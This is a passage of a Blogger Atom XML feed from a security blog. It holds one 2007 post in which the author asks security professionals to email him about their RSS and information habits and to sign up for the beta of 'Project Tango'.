Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;DE8MQX8zeSp7ImA9WBFaFk0.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-2160007810901549525</id><published>2007-05-19T15:25:00.001-05:00</published><updated>2007-05-19T15:34:40.181-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-05-19T15:34:40.181-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="education" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="project tango" /><category scheme="http://www.blogger.com/atom/ns#" term="webapps" /><title>Time for a Tango</title><content type="html">Well I've had a number of people curious about &lt;a href="http://blog.vulnerableminds.com/2007/05/project-tango.html"&gt;Project Tango&lt;/a&gt;. It's been going for a little over a week now, much of the initial work has been completed, and now I'm in the process of tuning some of the back end pieces for finalization and release.&lt;br /&gt;&lt;br /&gt;So at this point I'm asking for some help, and in the process am going to give away a few things about the project, so here ya go:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Are you a security professional who's an information junkie? Shoot me an email and let me know what you look for in getting your fix. What sites you read, what information you want, what information you don't want, and if you'd be interested in the Tango Beta.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Are you a security professional using &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;RSS&lt;/span&gt; to feed your information needs, whether addict level or more of a recreational &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;RSS&lt;/span&gt; user? Shoot me an email, pet peeves, wants, information you don't or can't get via &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;RSS&lt;/span&gt;, and if you'd be interested in the Tango Beta.&lt;/li&gt;&lt;li&gt;Are you just really curious about what Project Tango is and want to make a compelling case to get in on the beta? Shoot me an email.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;All email can be sent to tango.beta@vulnerableminds.com and we'll set you up for an early look at Project Tango.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-2160007810901549525?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/2160007810901549525/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=2160007810901549525" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/2160007810901549525?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/2160007810901549525?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/05/time-for-tango.html" title="Time for a Tango" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry></feed>
